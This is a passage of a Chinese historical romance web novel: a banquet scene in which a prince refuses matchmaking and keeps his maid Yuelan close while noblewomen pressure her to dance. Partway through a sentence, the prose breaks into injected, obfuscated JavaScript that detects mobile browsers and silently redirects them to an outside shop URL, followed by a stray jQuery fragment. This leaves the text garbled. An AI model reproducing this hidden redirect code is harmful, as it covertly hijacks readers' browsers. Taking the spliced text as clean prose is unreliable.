51. 第五十一章
作品:《掌中刺》 刘婀缓步上前,虽然没有多言,眼中却存了十二分的心疼。
她伸手掸去刘巽肩上的落雪,轻声道:
“快进去吧。”
月澜迫不及待追上前头的玄色身影,回首道:
“无尽君,我先去找殿下。”
于至元颔首,目光复杂地看向二人。
双脚踩在绵软的积雪之上,发出咯吱咯吱的轻响,一场雪像是无止境般下个不停。
撑开伞,高高踮起足尖,将大伞罩在刘巽的头顶。
她跟在一侧亦步亦趋,鼻尖传来熟悉的冷杉香。
以及,一丝隐约的果甜。
微微仰起脑袋,却只能看到他冷漠的下颌线。
正堂内,掠过稽首的群臣,刘巽行至主位,刘婀则陪立一旁。
黑眸一一扫过座下众人,举起酒杯,沉声道:
“今日夜宴,与众卿共聚,愿我燕地,山河永固,国泰民安。众卿,满饮此杯。”
众人再次叩首下拜,堂内呼声不止。
月澜站在主座侧方的阴影中,无声地将他凝视。
相似的诸侯王玄袍与刘氏长冠,眼前挺拔的身影渐渐与父王重合。
她父亲——霈王,也曾这般威风凛凛。不一样的是,眼前矜贵的少年更加不羁与孤傲。
一杯过后,月澜收回思绪,连忙上前再次斟酒。
刘婀眼眸微动,仔细打量这美貌异常的小婢,入鬓长眉不自觉地蹙起。
堂内丝竹歌舞起,气氛逐渐松动,众人开始饮酒交谈,好不热闹。
刘婀向刘巽顷身,低声道:
“公衡,姑母知道你长大了,可你也莫要失了分寸,万不能学其他纨绔,肆意豢养婢女。”
她瞥向月澜,眼里满满都是担忧。
刘巽随手敬了刘婀一杯,
“姑母多虑,侄儿从未有过此心。”
可刘婀还是不放心,
“那好,此次回都蓟,姑母就将她带走,可行?军营里,怎能由着性子留女子在侧。说出去惹人笑话。”
刘巽勾唇笑道:
“自然……不行。”
刘婀横眉倒竖,
“你瞧瞧!还说没有此心!”
少年懒懒靠向座背,
“此女侄儿留着还有用,尚不可离开。”
刘婀深吸了口气,嗔怪道:
“神神秘秘的,算了!姑母只是提醒一二罢了。如今你是燕王,姑母也管不了许多,也就是操心操心你的后宫。”
她饮下一口烈酒,语气斩钉截铁,继续道:
“公衡,那小婢,姑母可以暂且不管,可你今夜无论如何,都得给姑母挑出一两个人出来。”
不顾刘婀的急切,刘巽依旧慵懒地倚在座上,目光看向远处,
“姑母,侄儿要说多少遍?侄儿早有婚约,恕无法与她人成婚。”
“倔!”
刘婀气不打一处来,怒瞪向他,
“怎的同你父亲一模一样!一句话都听不进去。”
月澜看刘巽的酒杯又空了下来,缓步上前。
“霈王一家早就死了个干净,况且,你当蔡姝芸之女是什么好人?就是还活着,姑母也绝对不会同意她踏进我燕地半步!”
倏地听到这一番话,月澜愣在原地,拿酒壶的手微微颤抖。
姝芸,是她母亲的闺名。
恍然从一个外人口中听到这二字,顿时心乱如麻。
一曲终了,刘婀止住话题。她吃了块果子,轻轻摇着扇子,似要将火气冲淡几分。
刘巽挑眉看向呆立的月澜,将空杯捻起,伸到她眼前。
月澜这才回过神,抿了抿唇,
“殿下……”
声音中不自觉地带了丝丝委屈。
远远看去,二人靠得极近。
温之倩坐不住了,她捧起一碟极为精致的糕点,施施然来到主座下,
“大王,之倩亲手做了一碟芙蓉酥,恳请殿下赏脸。”
刘婀乘势拿扇子敲了敲冰山似的侄儿,
“公衡,莫要令之倩失了体面。”
似是心情不错,他眼神示意,月澜连忙下去接过糕点,返回后跪着高高捧在刘巽面前。
“赏你了。”
此话一出,三人俱是瞪大了眼睛。
刘婀的侍女连忙给她顺气。
“公衡,你是要气死姑母……”
温之倩脸上红一阵,白一阵,跪在原地紧咬贝齿。
月澜则是一动不敢动,将头脸低低垂下,恨不得找个地缝钻进去。
没想到,刘巽还嫌惹的事不够大。
他捻起一块糕点,突兀地塞到月澜唇边。
冰凉的指尖还带着酒气,月澜紧紧闭着嘴,可他的态度却颇为强硬,长指更进一步,狠狠揉开她的双唇。
不得已,她只好一口吞下嘴边的芙蓉酥。
在月澜肩头的衣服上蹭干净手,刘巽睥着唇边掉渣的小姑娘,淡淡道:
“下去吧。”
眼睁睁看着糕点被一个婢女端走,温之倩不由得握紧拳头,指甲狠狠陷入掌心。
刘婀揉了揉额角,对着温之倩招手,
“之倩过来,坐到本宫这儿来。”
温之倩眼圈发红,仿佛是她犯了错,低声道:
“公主,可是之倩做错了事,惹得大王不喜?”
刘婀无奈安慰道:
“唉,他就这个性子,你莫怪他。”
听了一曲又一曲。
刘婀看他心思半点不在宴会的女子身上,心里干着急,对着一旁的侍婢耳语。
侍婢轻叩桌案,随即高声宣布,
“公主殿下有令,今日君臣共饮,不可无雅戏助兴。为得尽兴,当行投壶之礼,在座诸位尽可参与。连投三箭中者即为赢,输者,须得展示才艺。”
座下众人心知肚明,是给这些贵女们展示的机会。
是以,唯有席间的妙龄女子们跃跃欲试。
刘婀微微一笑,
“之倩,去试试。”
温之倩会意,却没有立刻起身,
“公主,今日来了许多亲友,不知,邀大王身后的妹妹一起热闹热闹,如何?”
刘婀斜睨向刘巽,戏谑道:
“公衡,可愿放人?”
刘巽勾唇,侧首唤道:
“过来。”
月澜躲在角落边听曲,边吃糕点,忽地听到命令,连忙放下手中空了大半的碟子。
“殿下,有何吩咐?”
温之倩好心解释道:
“这位妹妹,同我们一起来玩投壶吧。”
说罢,也不管月澜是否答应,就上前亲昵地拉过她的手,二人很快便混入一片姹紫嫣红之中。
虽是本着让贵女们展示才艺的目的,却也不能失了趣味。
下人专门准备了一窄口玉瓶,如此一来也不会闹出故意偏投的蠢象。
有了投壶助兴,众人多的是想瞧热闹,正堂内顿时开了锅。
裴谦双颊泛红,口鼻冒着酒气,嘟囔道:
“嗡嗡嗡,吵得小爷头疼。阿娘也真是的。”
于至元扑哧笑出声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115620|192821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,戳了戳他:
“呦,你还能有嫌吵的时候啊?”
抬头看到人群中略显拘谨的小人儿,裴谦又道:
“怎的死丫头也混进去了?!兄长也真是的,不知道藏好,到时候被我阿娘知道了,准没好果子吃。”
于至元看向座上面无表情的冷脸少年,发现刘巽的目光看似漫不经心,却一直没有放过人群里的那抹蜜合色。
他自言自语道:
“迟早瞒不住……”
正堂中央。
“温姐姐。”
一道细柔又克制的声音由远及近,月澜转过头,看到一身着天青色的姑娘翩然而至。
此女眉眼上挑,连唇角也一直上挑,仿佛将笑意长在了脸上。
见温之倩拉着个婢女,薛银沛挤进二人中间,甜腻地挽上温之倩,
“温姐姐,许久不见,你还是这般好脾气,愿意带着小丫头见世面。”
话落,她转过头,望着月澜笑道:
“小妹妹,温姐姐爱护下人,你可得好生跟着学,千万别辜负了姐姐的心意。今日露了脸,若是能惹了哪位仆头儿侍卫的眼,也算是一段良缘啦。”
她笑得真诚,仿佛对一个婢女来说,这已经是天大的福气。
月澜立在原地,一言不发。
纵然心里不舒服,却也挑不出她话里的错。
温之倩看她脸色不好,嗔道:
“你呀,妹妹才多大,就想着婚配,快些闭上你的坏嘴罢!”
二人笑作一团。
很快,下人就准备好了投壶的一应器具。
贵女圈子待久了,不用刻意排队,人人也都知道长幼尊卑之序。
温之倩得了静娴公主青睐,自然是由她打头。
一连两中,喝彩声不断。
第三投,温之倩表情十分认真。
咣当,
箭头擦着玉瓶边缘,直直落到地上。
她的面上颇为遗憾,
“哎呀呀,就差一点儿。”
刘婀侍婢朗声宣布:
“请稷州太守之女温之倩献艺。”
薛银沛笑道:
“温姐姐弹得一手好琴,今日我等也算是借了大王的光,才能有幸聆听一二呢。”
温之倩双颊羞红,悄悄朝主位瞟了一眼,垂眸道:
“休要乱说。”
而后,她环视一周,看到月澜,轻声说道:
“今日之宴,雅俗共赏,只弹琴实在无趣了些。不如,请妹妹伴舞,你我二人共献一艺如何?”
一圈儿的目光都照向自己,月澜退无可退,心里却是万般的不愿。
她是会跳舞不假,可宴饮之舞,与庄严的祭舞差别甚大,前者多是供人取乐。稍微有些体面的官家女子,都不会当着无数的陌生男女起舞。
薛银沛揽住月澜,耳语道:
“妹妹不会不愿意吧?只是一舞罢了,温姐姐盛情邀请,妹妹就让大家开开眼吧。”
几名女子叽叽咕咕,座上的刘婀等得不耐烦,
“之倩,可是要大王等着?”
温之倩连忙行礼告罪,压低声音道:
“算姐姐求妹妹了。”
瞧着刘婀犀利的目光,月澜揪住衣袖,闭了闭眼,颓然道:
“好。”
人群迅速退开,只留二人在中央。
月澜僵硬地站在中央,周围的嬉笑、私语不绝于耳。
她只觉得今夜的灯火,是否亮得……太过分?
瞧着紧绷的小人儿,刘巽放下酒杯,脸色渐渐阴沉。

